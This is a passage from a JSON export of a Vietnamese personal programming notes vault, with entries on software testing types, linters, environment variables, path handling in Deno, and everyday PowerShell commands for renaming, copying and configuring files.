Cypress](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-a-front-end-react-app-with-cypress)\r\n- [Cách Test ứng dụng Node back-end](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-a-back-end-node-app)\r\n- [Cuối cùng](https://viblo.asia/posts/5pPLkG2GLRZ/edit#wrap-up)\r\n\r\n# Test là gì và Tại sao nó có value\r\n\r\nKiểm thử là thực hiện Test xem một phần mềm có chạy như mong đợi hay không. Điều này thường được QA đảm bảo chất lượng, và nhằm mục đích giảm đến mức tối thiểu số lượng lỗi phát sinh trong quá trình sản xuất.\r\n\r\nBạn Test phần mềm để xác định lỗi, khoảng trống hoặc các yêu cầu còn thiếu và sửa những thứ đó trước khi deploy hoặc Release.\r\n\r\nTest là một cách triệt để giúp cải thiện độ tin cậy của dự án, giúp bạn tiết kiệm thời gian sửa lỗi sau này và do đó giảm chi phí và cải thiện cơ hội để khách hàng hoàn toàn hài lòng với sản phẩm của bạn.\r\n\r\n![BvIJ1M5-1](https://www.freecodecamp.org/news/content/images/2022/04/BvIJ1M5-1.gif)\r\n\r\n# Các loại Test khác nhau\r\n\r\nTest có thể được phân loại thành nhiều loại khác nhau theo nhiều yếu tố. Cá nhân mình nghĩ rằng có rất nhiều câu chuyện phiếm về chủ đề này, với hàng trăm thuật ngữ thường đề cập đến những thứ rất giống nhau. Vì vậy, hãy giữ nó đơn giản và chỉ xem xét các thuật ngữ phổ biến nhất và ý nghĩa của chúng.\r\n\r\nĐiều này sẽ giúp làm rõ nhiều cách mà một phần mềm có thể được Test và hiểu rõ hơn về các công cụ mà bạn sẽ trình bày ở phần sau.\r\n\r\n### Test thủ công và tự động\r\n\r\nTùy thuộc vào các công cụ bạn sử dụng để Test phần mềm của mình, bạn có thể phân loại kiểm thử thành kiểm thử thủ công hoặc tự động .\r\n\r\nTest thủ công là thực hiện \"nhấp chuột vào chức năng trên màn hình\" và Test thủ công tất cả các tính năng mà sản phẩm của bạn có, mô phỏng những gì người dùng thực tế sẽ làm.\r\n\r\nTest tự động được thực hiện thông qua code, viết các chương trình Test cách ứng dụng của bạn chạy.\r\n\r\nCó nhiều framework và thư viện Test mà bạn có thể sử dụng cho việc này. Khi nói đến kiểm thử chức năng (bạn sẽ xem điều đó có nghĩa là gì ở phần sau), hầu hết các thư viện đều hoạt động theo cách tương tự:\r\n\r\n- Đầu tiên, bạn xác định đoạn code nào bạn muốn Test.\r\n- Sau đó, bạn cung cấp đoạn code đó một số loại đầu vào hoặc thực hiện một hành động.\r\n- Sau đó, bạn xác định đoạn code đó sẽ làm gì với đầu vào/hành động mà bạn đã thực hiện.\r\n- Và cuối cùng, bạn sẽ so sánh những gì đoạn code đó thực sự đã làm với những gì bạn mong muốn.\r\n\r\nNếu nó làm đúng như những gì bạn đã mong muốn, thì bài Test đã passed. Nếu không, nó đã thất bại.\r\n\r\n### Test chức năng so với phi chức năng\r\n\r\nTest chức năng đề cập đến các tính năng thực tế của sản phẩm. Ví dụ: nếu bạn có một nền tảng blog, Test chức năng sẽ đảm bảo người dùng có thể tạo các bài viết mới, chỉnh sửa các bài viết đó, duyệt qua các bài viết do người khác viết, v.v.\r\n\r\nTest phi chức năng đề cập đến bất kỳ điều gì không liên quan chặt chẽ đến các tính năng cốt lõi của sản phẩm. Và điều đó một lần nữa có thể được phân loại thành các danh mục khác nhau, ví dụ:\r\n\r\n- Stress testing: test chịu tải của server chẳng hạn.\r\n- Security testing: test xem một ứng dụng có dễ bị tấn công bởi các cuộc tấn công thông thường hay không.\r\n- Accessibility testing: test xem một ứng dụng có được code theo cách mà có thể giễ dàng truy cập được cho những người khuyết tật hoặc những đối tượng khác nhau hay không.\r\n\r\n### Unit vs Integration testing vs End-to-end testing\r\n\r\nMột cách khác để phân loại Test là tùy thuộc vào mức độ rộng hay toàn diện của nó.\r\n\r\nUnit Test nhằm mục đích Test các chức năng, method riêng lẻ hoặc các đoạn code nhỏ theo cách độc lập. Trong Unit test, các đoạn code nhỏ được Test theo cách riêng biệt.\r\n\r\nIntergaration test  là cách các đoạn code riêng lẻ tương tác với nhau và hoạt động cùng nhau. Trong Test tích hợp, bạn ghép các mảnh lại với nhau và xem liệu chúng có tương tác chính xác hay không.\r\n\r\nEnd-to-End Test, còn được gọi là E2E, thực thi các chương trình trong một môi trường giả lập mô phỏng hành vi người dùng thực tế. Lấy một trang web làm ví dụ, code của bạn sẽ mở trong một trình duyệt thực và tất cả các tính năng sẽ được thực thi giống như cách người dùng sử dụng chúng. Test E2E rất giống Test thủ công theo nghĩa đó, nhưng hoàn toàn tự động.\r\n\r\nTest E2E là loại rộng nhất hoặc toàn diện nhất trong ba loại này, vì nó đánh giá toàn bộ các tính năng và hành vi, không phải các phần cụ thể trong code của bạn.\r\n\r\n### Test hộp trắng so với hộp đen và hộp xám\r\n\r\nPhân loại cuối cùng mà bạn sẽ thấy phụ thuộc vào mức độ các Test sẽ tập trung vào chi tiết triển khai hoặc trải nghiệm người dùng.\r\n\r\nGiả sử bạn có một trang web đơn giản với một nút, khi được nhấp vào, nó sẽ mở ra một method. Trong code, nút có trình xử lý sự kiện nhấp chuột thực thi một chức năng. Hàm đó thay đổi lớp CSS của phần tử HTML method và điều đó sẽ hiển thị method trên màn hình.\r\n\r\nNói về kiểm thử \"hộp trắng\" khi bạn cần Test chi tiết triển khai. Ví dụ, theo mô hình này, bạn có thể Test xem lần nhấp vào nút có thực thi chức năng tương ứng hay không và sau khi thực thi chức năng, lớp CSS của phần tử method của bạn được thay đổi tương ứng.\r\n\r\nMột cách khác để làm điều này là quên việc triển khai tất cả cùng nhau và chỉ cần Test xem method có được hiển thị sau khi nhấp vào nút hay không. Ae không quan tâm lớp CSS là gì, hoặc chức năng tương ứng có được thực thi hay không. Chỉ tập trung vào việc Test những gì người dùng sẽ cảm nhận được. Đó là Test \"hộp đen \".\r\n\r\nVà, như bạn có thể đoán, Test \"hộp màu xám\" chỉ là sự kết hợp của hai cách trước.\r\n\r\nMột điều cuối cùng cần đề cập ở đây là các loại Test khác nhau này là không nhất thiết phải loại trừ lẫn nhau. Ý mình là, chúng có thể và thường được thực hiện cùng một lúc trên cùng các dự án.\r\n\r\nRất phổ biến là có cả Test thủ công và tự động, Test chức năng và phi chức năng, Test đơn vị và E2E ... Ý tưởng sẽ luôn là cố gắng dự đoán và giải quyết số lượng vấn đề lớn nhất có thể trong một thời thời gian và effort hợp lý.\r\n\r\n# Khi nào Test\r\n\r\nThoạt đầu, đây có vẻ là một câu hỏi đơn giản, nhưng thực tế cũng có nhiều cách tiếp cận khác nhau cho vấn đề này.\r\n\r\nMột số người thích Test ứng dụng của họ sau khi nó được phát triển đầy đủ. Những một số khác thích viết các Test case cùng lúc họ viết code ứng dụng và Test từng tính năng khi nó đang được phát triển.\r\n\r\nSố còn lại thì thích viết các bài Test trước trước bất kỳ thứ gì khác, xác định theo cách này các yêu cầu tối thiểu để chương trình hoàn thành. Và sau đó, họ viết code ứng dụng theo cách passed các bài Test đó nhanh nhất có thể (điều này được gọi là [phát triển theo hướng Test hoặc TDD](https://en.wikipedia.org/wiki/Test-driven_development)). [TDD này mình cũng đã có nhắc đến trong bột bài viết của mình bạn có thể tham khảo.](https://tuan200tokyo.blogspot.com/2022/09/blog3-mot-so-mo-hinh-lap-trinh-pho-bien.html)\r\n\r\nSau khi bạn đã phát triển một ứng dụng hoặc toàn bộ tính năng và bạn đã có sẵn bộ Test (bộ Test là một nhóm các Test case của một tính năng cụ thể hoặc toàn bộ ứng dụng), một method phổ biến khác là chạy Test mỗi lần bạn thực hiện bất kỳ loại sửa đổi nào đối với code base, để chắc chắn rằng không vị trí nào bị bug sau khi thêm tính năng hoặc function mới.\r\n\r\nCuối cùng, nếu bạn có sẵn hệ thống [CI/CD](https://en.wikipedia.org/wiki/CI/CD) , bạn thường tự động hóa việc thực hiện các bài Test trước khi triển khai. Vì vậy, nếu bất kỳ Test nào không thành công, việc triển khai sẽ bị dừng và một số loại cảnh báo sẽ được gửi đi (tất nhiên luôn tốt hơn việc thấy ứng dụng của bạn bắt lửa trên sản phẩm 🔥😱).\r\n\r\nTương tự như với các loại kiểm thử, việc Test các ứ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vj" + }, + { + "Tiêu đề": "Unit test", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Test/Unit test", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![Unit test](https://youtu.be/tIrcxwLqzjQ)\r\n![Unit Testing - Hướng dẫn viết trong Javascript 🎉 - YouTube](https://www.youtube.com/watch?v=i4P4x7dIfCs)\r\n![Unit testing in JavaScript Part 1 - Why unit testing? - YouTube](https://www.youtube.com/watch?v=Eu35xM76kKY)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vk" + }, + { + "Tiêu đề": "Prettier là để làm cho dễ nhìn. Linter là để hạn chế dính bug khi dự án mở rộng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Prettier là để làm cho dễ nhìn. Linter là để hạn chế dính bug khi dự án mở rộng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Prettier vs. Linters · Prettier](https://prettier.io/docs/en/comparison.html)\r\n![Josh Goldberg - Setting Up ESLint and TypeScript for React - YouTube](https://youtu.be/sSJBeWPIipQ?si=agr41wAipsnr7CoD)\r\n\r\nLinter của Deno: [deno\\_lint docs](https://lint.deno.land/)\r\n[deno fmt, code formatting | Deno Docs](https://docs.deno.com/runtime/manual/tools/formatter)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vl" + }, + { + "Tiêu đề": "Admin privilege", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Admin privilege", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vm" + }, + { + "Tiêu đề": "Bạn không cần dùng GUI", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Bạn không cần dùng GUI", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[GitHub - you-dont-need/You-Dont-Need-GUI: Stop relying on GUI; CLI \\*\\*ROCKS\\*\\*](https://github.com/you-dont-need/You-Dont-Need-GUI)\r\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vn" + }, + { + "Tiêu đề": "Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Biến môi trường tiếng Anh là *environmental variable*. Viết tắt là `env`\r\n![What are Environment Variables, and how do I use them? (get,set) - YouTube](https://youtu.be/ADh_OFBfdEE?si=U30Tg6HS8hvzgCcv)\r\nTrong [[PowerShell là một ngôn ngữ shell|PowerShell]] dùng lệnh này để liệt kê tất cả các env:\r\n```PowerShell\r\nget-childitem env:\r\n```\r\n[[env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vo" + }, + { + "Tiêu đề": "Dùng absolute path cho lành", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/Dùng absolute path cho lành", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lý do:: [[Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết]]\r\n```ts\r\nimport * as path from \"$std/path/mod.ts\";\r\nconst thưMụcHiệnTại = path.dirname(path.fromFileUrl(import.meta.url))\r\nconst danhSáchNơiĐăng = Deno.readTextFileSync(thưMụcHiệnTại+'/Nơi đăng.yaml')\r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-01-05T07:38:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vp" + }, + { + "Tiêu đề": "env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn]]\r\nNguồn:: [windows - User vs. System Environment Variables: Do System Variables Override User Variables? - Super User](https://superuser.com/a/878382/301042)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vq" + }, + { + "Tiêu đề": "PATH là đường dẫn mặc định tới những tập tin nhị phân (binary)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/PATH là đường dẫn mặc định tới những tập tin nhị phân (binary)", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vr" + }, + { + "Tiêu đề": "pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Ở Node, `process.env.PWD` **không** tồn tại trên Windows\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [process.env.PWD vs process.cwd()](https://stackoverflow.com/a/31436403/3416774)\r\n\r\n[[Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vs" + }, + { + "Tiêu đề": "Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Đường dẫn trong launch.json là cwd]] \r\nVí dụ `script.ts` này gọi đến `file.txt`:\r\n```ts\r\nconst đườngDẫnTươngĐối = '../file.txt'\r\nconst nộiDungFile = await Deno.readTextFile(đườngDẫnTươngĐối)\r\nconsole.log(nộiDungFile)\r\n```\r\nTa sẽ chia ra hai trường hợp:\r\n## 1. `file.txt` nằm ngoài folder (trong `.`) :\r\n```\r\n. \r\n├── file.txt \r\n└── folder/ \r\n\t└── script.ts\r\n```\r\n## 2. `file.txt` nằm trong folder (trong `./folder`):\r\n```\r\n. \r\n└── folder/ \r\n\t├── script.ts \r\n\t└── file.txt\r\n```\r\n[[pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)]]\r\n\r\n| Vị trí của `file.txt` | Đường dẫn đến `file.txt` trong `script.ts` | PWD và lệnh chạy `script.ts` ở terminal | Kết quả |\r\n| --------------------- | ------------------------------------------ | ------------------------------------------- | ------- |\r\n| `./folder` | `./file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ✔ |\r\n| `.` | `../file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ✔ |\r\n| `.` | `./file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ✔ |\r\n| `.` | `./file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ❌ |\r\n| `.` | `../file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ❌ |\r\n| `./folder` | `./file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ❌ |\r\n| `./folder` | `../file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ❌ |\r\n| `./folder` | `../file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ❌ |\r\n\r\nChính vì như vậy, nên [[Dùng absolute path cho lành]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vt" + }, + { + "Tiêu đề": "Sự khác biệt giữa Windows và Android, Mac trong tên file", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Sự khác biệt giữa Windows và Android, Mac trong tên file", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "| Yếu tố | Windows | Android, Mac (bản chất là Linux) |\n| ----------------------------------------------- | ------------------------------------ | -------------------------------- |\n| Chữ hoa/thường | Không phân biệt | Phân biệt |\n| Dấu cách ` ` hoặc dấu chấm `.` ở cuối tên file | Không được sử dụng: sẽ tự động bị bỏ | Không bị bỏ |\n| Ký tự đặc biệt: `<>:\"\\|?*` | Không được sử dụng: sẽ báo lỗi | Được sử dụng |\n| Ký tự đặc biệt: `/` | Không được sử dụng: sẽ báo lỗi | Không được sử dụng |\n\nNguồn:: [[Stack Overflow]], [What characters are forbidden in Windows and Linux directory names?](https://stackoverflow.com/q/1976007/3416774)\n\n[[Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-31T13:55:00.000Z", + "id": "Vu" + }, + { + "Tiêu đề": "cmd vẫn được dùng để chạy exe", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/cmd vẫn được dùng để chạy exe", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vv" + }, + { + "Tiêu đề": "cmdlet dùng định dạng Verb-Noun", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/cmdlet dùng định dạng Verb-Noun", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "cmdlet dùng định dạng Verb-Noun (động từ - danh từ) như trong Get-Service, Stop-Service, hay Import-Csv. Phần động từ trong tên của cmdlet sẽ chỉ ra hành động được thực hiện trên danh từ. Thông thường, các cmdlet được sử dụng để lấy thông tin sẽ có động từ **Get** (lấy) trong tên, ví dụ như **Get-Process** hay **Get-Content**. Lệnh sử dụng để chỉnh sửa cái gì đó thường bắt đầu với động từ **Set**, để thêm thực thể mới vào đâu đó thì thường bắt đầu với **Add** hoặc **New**.\r\n\r\nNguồn:: [PowerShell và mọi điều bạn cần biết về tiện ích này - QuanTriMang.com](https://quantrimang.com/gioi-thieu-ve-powershell-37928)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vw" + }, + { + "Tiêu đề": "Các lệnh PowerShell thường dùng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/Các lệnh PowerShell thường dùng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Lịch sử\n| Lệnh | Cách dùng |\n| --------------------------- | ---------------------------------- |\n| Cuộn lên, cuộn xuống | <kbd>Alt+↑</kbd>, <kbd>Alt+↓</kbd> |\n| Xem lịch sử các lệnh | `get-history` hoặc `h` |\n| Tìm một lệnh mình từng dùng | gõ lệnh đó rồi nhấn `F8` |\nNguồn:: [about History - PowerShell | Microsoft Learn](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.3)\n\n[[PowerShell là một ngôn ngữ shell]]\n[The Complete Guide to PowerShell Punctuation - Simple Talk](https://www.red-gate.com/simple-talk/sysadmin/powershell/the-complete-guide-to-powershell-punctuation/)\n## Tạo nhiều folder\n```PowerShell\n$list=(ls -name -directory).substring(1)\nforeach ($i in $list) {\n\t$index=$i.substring(0,1)\n\tcd \"2$i\" \n\tnew-item \"2$index`1 Thành quả cần có\" -type directory;\n\tnew-item \"2$index`2 Sự kiện\" -type directory;\n\tnew-item \"2$index`3 Tài liệu\" -type directory;\n\tCd ..\n}\n```\n## Tạo array\n```PowerShell\n$list|ForEach-Object {\"`\"$_`\",\" } |clip\n```\n## Đổi tên hàng loạt\n```PowerShell\nGet-ChildItem *.md, *.json -recurse | Where-Object {$_.name -cmatch '^2[A-Z]'} | Rename-Item -newname { $_.name -replace '^2(.*)', '4$1'} -whatif \n```\n- `-cmatch`: match có case sensitive\n## Tìm và thay chuỗi hàng loạt\n[[VS Code nhiều khi không tìm hết file được do tên quá dài]]\n```PowerShell\nGet-ChildItem *.md, *.json -recurse | ForEach-Object { (Get-Content $_).Replace('Kết quả cần có::','Thành quả cần có::') | Set-Content $_ } \n```\n## Xoá tất cả desktop.ini \n```PowerShell\nGet-ChildItem -Force -Recurse -File -Filter \"desktop.ini\" | Remove-Item -force\n```\n## Tắt giới hạn số ký tự tối đa cho đường dẫn\n```PowerShell\nNew-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name \"LongPathsEnabled\" -Value 1 -PropertyType DWORD -Force\n```\n[Maximum Path Length Limitation - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=powershell#enable-long-paths-in-windows-10-version-1607-and-later)\n\n## Thêm [[Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn|biến môi trường]] \n```PowerShell\n[System.Environment]::SetEnvironmentVariable('ResourceGroup','AZ_Resource_Group', 'User')\n$env:PATH += \";SomeRandomPath\"\n```\n```PowerShell\n[Environment]::SetEnvironmentVariable(\"Path\", [Environment]::GetEnvironmentVariable(\"Path\", [EnvironmentVariableTarget]::Machine) + \";C:\\bin\", [EnvironmentVariableTarget]::Machine)\n```\n## sfd\n```PowerShell\n$sourcePath = “F:\\New folder” \n$destinationPath = “E:\\New folder” \n$files = Get-ChildItem -Path $sourcePath -Recurse -Filter “*.*” \nforeach($file in $files){ \n\t$sourcePathFile = $file.FullName \n\t$destinationPathFile = $file.FullName.Replace($sourcePath, $destinationPath) \n\t$exists = Test-Path $destinationPathFile \n\tif(!$exists){ \n\t$dir = Split-Path -parent $destinationPathFile \n\tif (!(Test-Path($dir))) { New-Item -ItemType directory -Path $dir } \n\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \n\t} \n\telse{ \n\t\t$isFile = Test-Path -Path $destinationPathFile -PathType Leaf \n\tif(!$isFile){ \n\t\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \n\t} \n\t} \n}\n```\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T07:29:00.000Z", + "id": "Vx" + }, + { + "Tiêu đề": "Dùng Where-Object nhanh hơn dùng -Filter", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/Dùng Where-Object nhanh hơn dùng -Filter", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [powershell performance: Get-ChildItem -Include vs. Get-ChildItem | Where-Object](https://stackoverflow.com/a/52294304/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vy" + }, + { + "Tiêu đề": "PowerShell là một ngôn ngữ shell", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/PowerShell là một ngôn ngữ shell", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\n[[Các lệnh PowerShell thường dùng]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-10T09:00:00.000Z", + "id": "Vz" + }, + { + "Tiêu đề": "Windows Terminal có thể được kích hoạt trong Explorer", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/Windows Terminal có thể được kích hoạt trong Explorer", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V-" + }, + { + "Tiêu đề": "Shell là cái vỏ bảo vệ lõi của hệ điều hành", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Shell là cái vỏ bảo vệ lõi của hệ điều hành", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Để giao tiếp với lõi của hệ điều hành cần phải dùng tới shell. [[Terminal là cái chương trình để làm việc với shell]] \r\n![](https://srinisbookcom.files.wordpress.com/2020/11/bb6fa-kernel_shell.jpg) \r\n\r\n![](https://thumbs.dreamstime.com/b/magic-portal-green-plants-fantasy-fern-ivy-night-79779455.jpg) \r\n\r\nThế giới đằng sau tấm gương là cái lõi của hệ điều hành. Terminal là cái tấm gương. Ngôn ngữ ta dùng để giao tiếp với gương là command line. Shell là cái phần mềm của gương, có nhiệm vụ dịch và vận chuyển thông điệp của ta với cái thế giới đằng sau nó và ngược lại\r\n\r\n![](https://wizardzines.com/images/uploads/shell.png) \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + 